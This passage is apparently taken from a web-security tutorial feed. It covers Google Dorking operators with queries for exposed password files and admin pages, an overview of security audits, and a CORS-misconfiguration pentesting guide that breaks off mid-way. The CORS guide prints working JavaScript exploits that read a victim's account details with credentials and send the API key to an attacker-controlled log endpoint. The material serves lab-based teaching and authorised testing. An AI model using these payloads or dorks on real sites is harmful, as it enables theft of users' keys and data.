<p>To harness the full potential of Google Dorking, we’ll need to master some specialized search operators. These operators will fine-tune our search results and help us find exactly what we are looking for.</p>
<p>Let’s try a few Google dorks.</p>
<h1 id="heading-common-google-dorks">Common Google Dorks</h1>
<p>Some of the common query operators in Google Dorking include search modifiers. These search modifiers allow us to find specific information that may not be accessible through traditional search methods.</p>
<p>Here are some of the most common operators used in Google Dorking.</p>
<h2 id="heading-intitle-operator">Intitle operator</h2>
<p>The “<strong>intitle</strong>” operator searches for web pages with specific words or phrases in the title tag. For instance, if you’re looking for pages that contain the phrase “password” and have “index of” in the title, you would use the search term:intitle:”index of” password.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1050/0*aGu8XsaRGj-LCmD9.png" alt="Image" width="1050" height="699" loading="lazy">
<em>In title. Image by the author.</em></p>
<h2 id="heading-inurl-operator">Inurl operator</h2>
<p>The “<strong>inurl</strong>” operator searches for web pages that contain specific words or phrases in the URL. For example, if you’re looking for pages that contain “admin.php” in the URL, you would use the search term:inurl:admin.php.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1050/0*eQJJKQ2WwakLmMWC.png" alt="Image" width="1050" height="638" loading="lazy">
<em>In url. Image by the author.</em></p>
<h2 id="heading-site-operator">Site operator</h2>
<p>The “<strong>site</strong>” operator allows you to search within a specific website or domain. For instance, if you’re looking for pages on the example.com domain that contain the word “Steganography”, you would use the search term:site:yeahhub.com “Steganography”</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1050/0*jvy2mkw49lQryy_r.png" alt="Image" width="1050" height="688" loading="lazy">
<em>In site. Image by the author.</em></p>
<h2 id="heading-filetype-operator">Filetype operator</h2>
<p>The “<strong>filetype</strong>” operator allows you to search for specific file types, such as PDFs or Word documents. For example, if you’re looking for PDF files that contain the phrase “confidential report”, you would use the search term:filetype:pdf "Advanced Network Security"</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1050/0*oXNyJ4L02zdEXCqP.png" alt="Image" width="1050" height="480" loading="lazy">
<em>Filetype. Image by the author.</em></p>
<h2 id="heading-intext-operator">Intext operator</h2>
<p>The “<strong>intext</strong>” operator searches for pages that contain specific words or phrases within the body of the page. For instance, if you’re looking for pages that contain both the words “login” and “password” within the body of the page, you would use the search term:intext:"about" contact.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1050/0*cLXuxHYh-XiwJSuC.png" alt="Image" width="1050" height="698" loading="lazy">
<em>In text. Image by the author.</em></p>
<h2 id="heading-link-operator">Link operator</h2>
<p>The “<strong>link</strong>” operator searches for web pages that link to a specific URL. For example, if you’re looking for web pages that link to the example.com domain, you would use the search term:link:”example.com”</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1050/0*DYGNbQTE2DYRbmAM.png" alt="Image" width="1050" height="499" loading="lazy">
<em>Link operator. Image by the author.</em></p>
<h2 id="heading-cache-operator">Cache operator</h2>
<p>The “<strong>cache</strong>” operator is used to retrieve the cached version of a web page. When you search for a website using Google, Google creates a cached version of that page in its system. This version can be useful if the original website is temporarily down or if you want to view an older version of the website.</p>
<p>Here is the syntax to find the cached version of yahoo.com.cache:https://www.yahoo.com</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1050/1*pJ888Ha57t-qrlF2ipSy4w.png" alt="Image" width="1050" height="693" loading="lazy">
<em>Cached version of yahoo.com. Image by author.</em></p>
<h2 id="heading-related-operator">Related operator</h2>
<p>The “<strong>related</strong>” operator is used to find web pages that are related to a specific URL. Here is the syntax to use the “related” operator to find sites similar to yahoo.com.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1050/1*A1S-BCae_XJXYWpfz50eUA.png" alt="Image" width="1050" height="665" loading="lazy">
<em>Related operator. Image by author.</em></p>
<p>By combining these operators in creative ways, you can find specific types of information on the web that can be useful for penetration testing and other purposes.</p>
<h1 id="heading-structure-of-query-operators">Structure of Query Operators</h1>
<p>Google Dorking query operators have a structure similar to regular Google search query operators. This technique involves using advanced operators and search queries to uncover information that is not typically available through regular searches.</p>
<p>The general structure of query operators in Google Dorking includes three elements:</p>
<ol>
<li><strong>Operator</strong>: A specific keyword or symbol that instructs Google what to search for. For instance, the “<strong>inurl</strong>” operator searches for pages that contain a particular keyword in their URL.</li>
<li><strong>Keyword:</strong> The search term or phrase that you want to find. If you are looking for a specific password file, then “password” is your keyword.</li>
<li><strong>Modifier:</strong> An additional search parameter that you can use to further refine your search. For example, the “<strong>filetype</strong>” modifier searches for a specific file type, such as a PDF.</li>
</ol>
<p>Here’s an example of a query operator structure in Google Dorking: intitle: “index of” site:example.com password filetype:pdf</p>
<p>This query uses the “<strong>intitle</strong>” operator to search for pages with “index of” in their title, the “site” operator to search within the example.com domain, the keyword “password,” and the “filetype” modifier to search for PDF files.</p>
<p>By utilizing query operators in Google Dorking, we can find useful and often vulnerable information that might not be accessible through regular searches.</p>
<h1 id="heading-google-hacking-database-ghdb">Google Hacking Database (GHDB)</h1>
<p><a target="_blank" href="https://www.exploit-db.com/google-hacking-database">The Google Hacking Database (GHDB)</a> is a compilation of search queries and query operators that help us in Google Dorking.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1050/1*ghTqBQgmfsmjgnl3T5QeKQ.png" alt="Image" width="1050" height="492" loading="lazy">
<em>Google hacking database. Image generated by author.</em></p>
<p>Johnny Long, a well-known security researcher and author, established the GHDB. It has since become a valuable resource for security engineers like you and me.</p>
<p>The GHDB has several search queries and operators that can uncover numerous sensitive files, vulnerable web servers, and applications. It can also discover default login pages and credentials, as well as network and security devices that may be prone to attack.</p>
<p>GHDB is arranged into categories such as “Files containing passwords” “Vulnerable servers” “Footholds” and “Error Messages”. Each category contains several search queries and operators crafted to reveal specific information about a target.</p>
<p>Please note that search queries and operators in the GHDB might produce false positives or outdated information. Always verify the information obtained through these search operators.</p>
<h1 id="heading-a-dorking-scenario">A Dorking Scenario</h1>
<p>Let’s assume you have to conduct a pentesting audit for a client. Here is a sample dorking scenario.</p>
<ol>
<li>Use the <strong>“site”</strong> operator to limit your search to the company’s website: site:example.com. This returns all pages on the example.com website.</li>
<li>Use the <strong>“intitle”</strong> operator to search for pages containing specific keywords in the title: intitle:”login” site:example.com. This helps identify potential login pages vulnerable to attack.</li>
<li>Use the <strong>“filetype”</strong> operator to search for specific file types: filetype:pdf site:example.com. This helps identify potential documents or reports containing sensitive information.</li>
<li>Use the <strong>“inurl”</strong> operator to search for specific URLs: inurl:”admin” site:example.com. This helps identify potential administrative pages vulnerable to attack.</li>
<li>Use the <strong>“cache”</strong> operator to view the cached version of a webpage Google has indexed: cache:example.com/login.php. This provides access to the page contents even if the original page is removed or no longer accessible.</li>
<li>Use the <strong>“related”</strong> operator to find similar websites: related:example.com. This helps identify potential partners or third-party vendors with access to the company’s network.</li>
</ol>
<h1 id="heading-summary">Summary</h1>
<p>Google Dorking is a powerful technique that allows us to perform advanced searches on Google. We can use Google Dorks to find specific information and publicly exposed vulnerabilities. It is an essential tool in a pentester’s toolkit.</p>
<p>Google Hacking Database (GHDB) provides a collection of pre-defined Google Dorks. Given the harm that someone can cause using dorking, it is important to use it ethically and with permission. Ensure that you have permission and follow ethical guidelines when using dorking for security audits.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Incorporate Cybersecurity Audits into Your Workflow ]]>
                </title>
                <description>
                    <![CDATA[ The word "audit" describes any process designed to review and assess a system's current state, capacity, and integrity.  An internal audit is a review process initiated and carried out by an organization itself. External audits are often performed by... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/incorporate-cybersecurity-audits-into-your-workflow/</link>
                <guid isPermaLink="false">66b995fd94b336889c600434</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ David Clinton ]]>
                </dc:creator>
                <pubDate>Wed, 22 Mar 2023 16:25:10 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/03/pexels-pixabay-39584.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>The word "audit" describes any process designed to review and assess a system's current state, capacity, and integrity. </p>
<p>An <em>internal</em> audit is a review process initiated and carried out by an organization itself. <em>External</em> audits are often performed by or on behalf of banking entities or government regulatory bodies like tax authorities.</p>
<h2 id="heading-security-audits-whats-in-it-for-you">Security Audits: What's in it for You?</h2>
<p>In theory at least, all technology audits share a few goals in common. They want to confirm that your systems are operating with acceptable levels of security and efficiency, and that they're compliant with all applicable standards. </p>
<p>The point isn't just to make sure all the right boxes are checked, but to genuinely look for hidden problems so you can fix them.</p>
<p>In that context, you should look at compliance with regulatory frameworks like the credit card industry "Payment Card Industry Data Security Standard" (known as PCI-DSS) or the US government's "Health Insurance Portability and Accountability Act" (HIPAA) as valuable opportunities. </p>
<p>If you can legitimately pass those standards, then you can be pretty confident that you really are doing what you can to protect the privacy and security of the data you manage. And even more important, that your systems are reasonably secured against common threats.</p>
<p>This article comes from my <a target="_blank" href="https://www.udemy.com/course/intro-cyber-security-framework-planning/?referralCode=23853458BE14AFFAEFF2">Introduction to Cybersecurity course</a>. If you'd like, you can follow the video version here:</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/HiHHrTpon3Q" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
<h2 id="heading-security-audits-how-they-work">Security Audits: How They Work</h2>
<p>For all intents and purposes, a formal security audit involves inspecting and testing all the systems that could impact security in one way or another. </p>
<p>You might, for instance, be required to demonstrate:</p>
<ul>
<li>That your data at rest and in transit is always encrypted</li>
<li>That all servers and workstations involved in your business are properly patched</li>
<li>That your networks block access to all but necessary users</li>
<li>That third party vendors whose operations and products you use also comply with necessary security standards</li>
<li>That you've got an effective protocol for regular data backups</li>
<li>That you've got formal – and tested – emergency response and recovery plans</li>
</ul>
<p>Well even if it's some government or bank that's pushing you to do this – and even if full compliance is very expensive – the basic goals are well aligned with your own interests, so it's definitely not a complete waste.</p>
<h2 id="heading-security-audit-tools">Security Audit Tools</h2>
<p>Let me quickly describe three categories of auditing tools. </p>
<h3 id="heading-processing-and-parsing-system-logs">Processing and parsing system logs</h3>
<p>Whether your infrastructure stack lives in the cloud, on premise, or both, over time, you're regularly going to be generating gigabytes of boring data. </p>
<p>The only way to make sense of the mess is by streaming it through analytics scripts that can filter out the noise generated by millions of normal events, and find serious events. Good log monitoring systems (which include Splunk, Nagios, Syslog-ng, and Datadog) can be configured to send alerts when possible problems are detected, or even trigger automatic fixes.</p>
<p>If you're running anything more complicated than a WordPress website and a few laptops, then you'll probably need some kind of monitoring process. One low-level form of monitoring is an intrusion detection system (IDS). </p>
<p>An IDS is software you install on a server whose function is to constantly monitor the state of pre-set system and configuration files. If a target file is updated or deleted – potentially an indication that there's unauthorized activity going on – the IDS will send an alert to one or more admins. Once you've fine-tuned your IDS so it's not sending you annoying false-positives all the time, it can be an effective first-line of defense.</p>
<p>Installing and configuring IDS software can be a lot easier than you might think. Popular packages include Snort and Security Onion.</p>
<h3 id="heading-penetration-testing">Penetration testing</h3>
<p>A pen tester is usually an independent consultant hired by an organization to attempt to hack into their <em>internal</em> systems. </p>
<p>In other words, pen testers are given explicit legal permission to do exactly what criminal hackers would do – without causing permanent damage, of course. </p>
<p>Using attack software suites like OWASP ZAP or Metasploit, pen testers search for and then exploit vulnerabilities in an organization's systems. The further in a tester can penetrate, the more dangerous are the discovered vulnerabilities, and the more work you'll have to do to fix them.</p>
<p>Pen testing is expensive and sometimes even disruptive. But not nearly as much as suffering the same intrusions by and actual malicious hacker. </p>
<p>Another form of pen testing involves dividing your admins and engineers into red team attackers and blue team defenders for attack simulations. The teams compete to test how robust your defences are.</p>
<p>Deploying a full pen test can be complicated. More often than not, organizations will engage with third party providers to plan and carry out a test.</p>
<h3 id="heading-vulnerability-assessments">Vulnerability assessments</h3>
<p>These are a less invasive form of pen testing. Rather than trying to breach your networks and servers, vulnerability testers will instead scan your network from the outside looking for open ports and unpatched software. They'll also search the internet for information your employees might have inadvertently left on public platforms that could provide hints to active credentials or the secret sauce used by your software applications. </p>
<p>How might that work? Well free software exists (like OpenVAS and Burp Suite) that will, for instance, harvest data from job ads you might have placed on LinkedIn – especially from the "required skills" sections. </p>
<p>Such software can also survey public posts from your team members, assessing the topics of interest in their Stack Overflow questions and answers. If this stuff is out there, you'll want to know about it.</p>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>Security audits are a very big deal. Whether you're running them to satisfy some regulatory requirements or to protect your assets – or both – you definitely want to take them seriously.</p>
<p><strong>This article and the accompanying video are excerpted from <a target="_blank" href="https://www.udemy.com/course/intro-cyber-security-framework-planning/?referralCode=23853458BE14AFFAEFF2">my Introduction to Cybersecurity course</a>. And there's much more technology goodness available at <a target="_blank" href="https://bootstrap-it.com">bootstrap-it.com</a></strong></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Exploiting CORS – How to Pentest Cross-Origin Resource Sharing Vulnerabilities ]]>
                </title>
                <description>
                    <![CDATA[ All web browsers implement a security model known as the Same-Origin Policy (SOP). It restricts domains from accessing and retrieving data from other domains’ resources.  The SOP policy helps protect users from malicious scripts that could access the... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/exploiting-cors-guide-to-pentesting/</link>
                <guid isPermaLink="false">66bb8a4ac332a9c775d15b5f</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CORS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Nairuz Abulhul ]]>
                </dc:creator>
                <pubDate>Thu, 09 Mar 2023 16:25:31 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/03/possessed-photography-_E1PQXKUkMw-unsplash--4-.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>All web browsers implement a security model known as the <strong>Same-Origin Policy (SOP)</strong>. It restricts domains from accessing and retrieving data from other domains’ resources. </p>
<p>The SOP policy helps protect users from malicious scripts that could access their sensitive data or perform unauthorized actions on their behalf.</p>
<p>For example, if <code>**business.com**</code> tries to make an HTTP request to <code>**metrics.com**</code>, the browser, by default, will block the request because it comes from a different domain.</p>
<p>As much as the SOP sounds like a proper protection policy, it doesn’t scale well in today’s technologies that depend on each other for operation. For example, it presents challenges to APIs and microservices which have legitimate use cases for accessing and sharing information between domains.</p>
<p>Because of cases like this, there was a need for a new security mechanism that would allow for cross-domain interactions. It's known as <strong>Cross-Origin Resource Sharing (CORS)</strong>.</p>
<p>This article will cover the basics of how CORS works and identify common vulnerabilities that can occur when you don't implement CORS correctly. We will also learn how to test and exploit the misconfigurations so that by the end of this guide, you will have a better understanding of how to test and validate for CORS during a pentest assessment.</p>
<p>I will use the Port Swigger CORS labs to demonstrate the testing and exploitation steps.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><a class="post-section-overview" href="#heading-what-is-cross-site-origin-policy-cors">What is Cross-Site Origin Policy (CORS)?</a></li>
<li><a class="post-section-overview" href="#heading-impact-of-cors-misconfigurations">Impact of CORS Misconfigurations</a></li>
<li><a class="post-section-overview" href="#heading-how-to-identify-cors">How to Identify CORS</a></li>
<li><a class="post-section-overview" href="#heading-exploitable-cors-cases">Exploitable Cases</a></li>
<li><a class="post-section-overview" href="#heading-unexploitable-case-wild-card">Unexploitable Case</a></li>
<li><a class="post-section-overview" href="#heading-mitigations">Mitigations</a></li>
<li><a class="post-section-overview" href="#heading-resources">Resources</a></li>
</ul>
<h2 id="heading-what-is-cross-site-origin-policy-cors">What is Cross-Site Origin Policy (CORS)?</h2>
<p><strong>CORS</strong> is a security feature created to selectively relax the SOP restrictions and enable controlled access to resources from different domains. CORS rules allow domains to specify which domains can request information from them by adding specific HTTP headers in the response.</p>
<p>There are several HTTP headers related to CORS, but we are interested in the two related to the commonly seen vulnerabilities — <code>**Access-Control-Allow-Origin**</code> and <code>**Access-Control-Allow-Credentials**</code><strong>.</strong></p>
<p><strong>Access-Control-Allow-Origin:</strong> This header specifies the allowed domains to read the response contents. The value can be either a wildcard character <code>**(*)**</code>, which indicates all domains are allowed, or a comma-separated list of domains.</p>
<pre><code>#All domain are allowed
Access-Control-Allow-Origin: *   


#comma-separated list <span class="hljs-keyword">of</span> domains
Access-Control-Allow-Origin: example.com, metrics.com
</code></pre><p><strong>Access-Control-Allow-Credentials</strong>: This header determines whether the domain allows for passing credentials — such as cookies or authorization headers in the cross-origin requests.</p>
<p>The value of the header is either True or False. If the header is set to “true,” the domain allows sending credentials. If it is set to “false,” or not included in the response, then it is not allowed.</p>
<pre><code>#allow passing credenitals <span class="hljs-keyword">in</span> the requests
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>

#Disallow passing <span class="hljs-keyword">in</span> the requests
Access-Control-Allow-Credentials: <span class="hljs-literal">false</span>
</code></pre><h2 id="heading-impact-of-cors-misconfigurations">Impact of CORS Misconfigurations</h2>
<p>CORS misconfigurations can have a significant impact on the security of web applications. Below are the main implications:</p>
<ul>
<li><strong>Data Theft:</strong> Attackers can use CORS vulnerabilities to steal sensitive data from applications like API keys, SSH keys, Personal identifiable information (PII), or users’ credentials.</li>
<li><strong>Cross-Site Scripting (XSS)</strong>: Attackers can use CORS vulnerabilities to perform XSS attacks by injecting malicious scripts into web pages to steal session tokens or perform unauthorized actions on behalf of the user.</li>
<li><strong>Remote Code Execution</strong> in some cases (<a target="_blank" href="https://quitten.github.io/StackStorm/">StackStorm case</a>)</li>
</ul>
<h2 id="heading-how-to-identify-cors">How to Identify CORS</h2>
<p>When testing an application for CORS, we check if any of the application’s responses contain the CORS headers. We can use the search functionality in Burp Suite to search for the headers quickly.</p>
<p>In the example below, I searched for the <code>**Access-Control-Allow-Credentials**</code> header and got three (3) responses back. Once the headers are identified, we can select the requests and send them to Repeater for further analysis.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1678/1*73ksv0ZrBWRf8dQZ7TliOg.png" alt="Image" width="1017" height="695" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1574/1*FVD7mLNMgvsdWa5XVV9MSA.png" alt="Image" width="954" height="704" loading="lazy">
<em>Figures 1 &amp; 2 show the search functionality in Burp Suite to look for CORS headers.</em></p>
<p>To identify CORS issues, we can modify the Origin header in the requests with multiple values and see what response headers we get back from the application. There are four (4) known ways to do this, which we'll go over now.</p>
<h3 id="heading-1-reflected-origins">1. Reflected Origins</h3>
<p>Set the Origin header in the request to an arbitrary domain, such as <code>[**https://attackersdomain.com**](https://attackersdomain.com./)</code>, and check the <code>**Access-Control-Allow-Origin**</code> header in the response. If it reflects the exact domain you supplied in the request, it means the domain doesn’t filter for any origins.</p>
<p>The risk of this misconfiguration is high if the domain allows for credentials to be passed in the requests. We can validate that by checking if the <code>**Access-Control-Allow-Credentials**</code> header is also included in the response and is set to <code>**true**</code>.</p>
<p>However, the risk is low if passing credentials is not allowed, as the browser will not process the responses from authenticated requests.</p>
<p>📌 To exploit reflected origins, check the exploitation section — Case #1.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="1049" height="580" loading="lazy">
<em>Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header.</em></p>
<h3 id="heading-2-modified-origins">2. Modified Origins</h3>
<p>Set the Origin header to a value that matches the targeted domain, but add a prefix or suffix to the domain to check if there is any validation on the beginnings or ends of the domain.</p>
<p>If no checks are in place, we can create a similar matching domain that bypasses the CORS policy on the targeted domain. For example, adding a prefix or suffix to the <code>**metrics.com**</code> domain would be something like <code>**attackmetrics.com**</code> or <code>**metrics.com.attack.com**</code>.</p>
<p>The risk of this misconfiguration is considered high if the domain allows for passing credentials with the <code>**Access-Control-Allow-Credentials**</code> header set to <strong>true</strong>. The attacker can create a similar matching domain and retrieve sensitive information from the targeted domain.</p>
<p>But the risk would be low if authenticated requests were not allowed.</p>
<p>📌To exploit modified origins, check the exploitation section — Case #1.</p>
<h3 id="heading-3-trusted-subdomains-with-insecure-protocol">3. Trusted subdomains with Insecure Protocol.</h3>
<p>Set the Origin header to an existing subdomain and see if it accepts it. If it does, it means the domain trusts all its subdomains. This is not a good idea because if one of the subdomains has a Cross-Site Scripting (XSS) vulnerability, it will allow the attacker to inject a malicious JS payload and perform unauthorized actions.</p>
<p>This misconfiguration is considered high risk if the domain accepts subdomains with an insecure protocol, such as HTTP, and the credential header is set to true. Otherwise, it will not be exploitable and would be only a poor CORS implementation.</p>
<p>📌 To exploit trusted subdomains, check the exploitation section — Case #3.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*XDNb4TzErgfuuQzqYUv12w.png" alt="Figure 4 — shows the application accepts arbitrary insecure subdomains. https://medium.com/r3d-buck3t — #cors #websecurity #web" width="1155" height="493" loading="lazy">
<em>Figure 4 — shows the application accepts arbitrary insecure subdomains.</em></p>
<h3 id="heading-4-null-origin">4. Null Origin</h3>
<p>Set the Origin header to the null value — <code>**Origin: null**</code>, and see if the application sets <code>**the Access-Control-Allow-Origin**</code> header to null. If it does, it means that null origins are whitelisted.</p>
<p>The risk level is considered high if the domain allows for authenticated requests with the <code>**Access-Control-Allow-Credentials**</code> header set to <code>**true**</code><strong>.</strong></p>
<p>But if it does not, then the issue is considered low, and not exploitable.</p>
<p>📌 To exploit Null Origins, check the exploitation section- Case #2.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="1155" height="657" loading="lazy">
<em>Figure 5 — shows the application accepted the null value and returned it in the response.</em></p>
<h2 id="heading-exploitable-cors-cases">Exploitable CORS Cases</h2>
<p>In this section, we will go over how to exploit the CORS misconfigurations by categorizing them into test cases for easy understanding.</p>
<h3 id="heading-case-1-reflected-origin">Case 1: Reflected Origin</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to the attacker’s supplied domain and enables passing credentials with the <strong>Access-Control-Allow-Credentials</strong> set to true.</p>
<pre><code>Access-Control-Allow-Origin: http:<span class="hljs-comment">//attacker-domain.com</span>
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="1049" height="580" loading="lazy">
<em>Figure 6 — shows the CORS headers for reflected origin.</em></p>
<p>The exploitation requires the attacker to host the JS script on an external server to be accessible to the user. Then they have to create an HTML page, embed the JS script below, and send it to the user.</p>
<pre><code>&lt;html&gt;
  <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span>

    #Initialize the XMLHttpRequest object, and the application URL vairable 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #MLHttpRequest object loads, exectutes reqListener() function
      req.onload = retrieveKeys;

    #Make GET request to the application accounDetails location
        req.open('GET', url + "/accountDetails",true);

    #Allow passing credentials with the requests
    req.withCredentials = true;

    #Send the request 
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  <span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></span>
</code></pre><p>Once the user visits your hosted page, it will automatically submit a CORS request to retrieve information about the user from the location specified in the script. Understanding the application structure and where it stores its sensitive information is essential for this step.</p>
<p>The above script starts with initializing the <code>**XMLHttpRequest**</code> (XHR) object to instruct the web browser that we will transfer data to and from a web server using the HTTP protocol. XHR is a browser API that allows client-side scripting languages such as JavaScript to make HTTP requests to a server and receive their responses dynamically without requiring the user to refresh the page.</p>
<p>Then, we instruct the object to execute a function called <strong><code>retrieveKeys</code></strong> that fetches the admin API key and sends the response to us when it loads.</p>
<p>Next, we make a GET request specifying the location from which we want to retrieve information and pass our credentials with the <code>Credentials</code> function set to true.</p>
<p>The request will automatically get blocked and denied if the application server doesn’t allow passing credentials between domains. But we know that this won’t happen here because the <code>**access-Control-Allow-Credentials**</code> is set to true.</p>
<p>To demonstrate how the script works, I’ll use the exploit server PortSwigger has available with the lab to host the above script.</p>
<p>Login into the application, click the <strong>“Go to exploit server,”</strong> and paste the script in the body. Then click on “<strong>Deliver exploit to victim.”</strong> In a real scenario, you need to send the link to the user and try to entice them to click it.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1505/1*hIfdCKiIogCOquzGVz686w.png" alt="Image" width="912" height="663" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1888/1*svwpXxlVZpxpqiRQV8u_hg.png" alt="Image" width="1144" height="628" loading="lazy">
<em>Figures 7 &amp; 8 — show the process of hosting the JS payload and delivering it to the user.</em></p>
<p>After delivering the exploit, click on <strong>“Access log”</strong> and you should be able to see the captured admin’s API key in the logs. Copy the string that has the key and paste into Burp Suite <strong>Decoder</strong> and decode it as a URL to retrieve the cleartext value.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2584/1*2zq3p_IKD032TRHZdZPURA.png" alt="Image" width="1566" height="566" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1787/1*5NNTx2nk9eLKT1fATokzCw.png" alt="Image" width="1083" height="634" loading="lazy">
<em>Figures 9 &amp; 10 — show the admin API key in the logs and the plain text key value on Decoder.</em></p>
<h3 id="heading-case-2-null-origin">Case 2: Null Origin</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to the null value and enables passing credentials with the <strong><code>Access-Control-Allow-Credentials</code></strong> set to <strong>true.</strong></p>
<pre><code>Access-Control-Allow-Origin: <span class="hljs-literal">null</span>
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="1155" height="657" loading="lazy">
<em>Figure 11 — shows the application server accepts null origins.</em></p>
<p>The exploitation requires us to host the JS script file to be accessible to the targeted user (<em>same as in case #1</em>). Again, we will use the same script – just this time, we will add an iframe sandbox to retrieve the API key. The sandbox property sets the frame’s origin to null so that we can set the Origin header to the null value.</p>
<pre><code>&lt;html&gt;
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">iframe</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"display: none;"</span> <span class="hljs-attr">sandbox</span>=<span class="hljs-string">"allow-scripts"</span> <span class="hljs-attr">srcdoc</span>=<span class="hljs-string">"
        &lt;script&gt;
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        &lt;/script&gt;"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">iframe</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span></span>
&lt;/html&gt;
</code></pre><p>When the authenticated user clicks on our link <code>[**http://192.168.1.14:5555/cors_null_poc.html**](http://192.168.1.14:5555/cors_null_poc.html.)</code>, we will get the API key from the account details. But since our user is not an admin, we won’t be able to retrieve the admin API key.</p>
<p>The point of showing the below steps is that during a web application testing assessment, as a tester, you would be given admin and regular user accounts to test with them. In those cases, you follow the below steps to show your proof of concept through hosting the file locally. Or, of course, you can host the file externally as an alternative option.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2412/1*a4Qtndhg7lDtOUriDT6CWA.png" alt="Image" width="1462" height="622" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1916/1*MgEzSTxHOyF2oZQ1yNftnQ.png" alt="Image" width="1161" height="691" loading="lazy">
_Figures 12 &amp; 13 — show null value is added to the request header, and the user accessed the cors_null<em>poc page.</em></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*ppYb-xcA4Fx-Doh3vw62HQ.png" alt="Figure 14 — shows the user’s account details when clicking the link. https://medium.com/r3d-buck3t #cors #web #pentesting" width="1155" height="388" loading="lazy">
<em>Figure 14 — shows the user’s account details when clicking the link.</em></p>
<h3 id="heading-case-3-trusted-subdomains">Case 3: Trusted Subdomains</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to any of its subdomains and allows credentials with <strong>Access-Control-Allow-Credentials</strong> set to <strong>true.</strong></p>
<p>The exploitation of this case is dependent on whether the existing subdomain is vulnerable to XSS vulnerability to enable the attacker to abuse the misconfiguration.</p>
<pre><code>Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
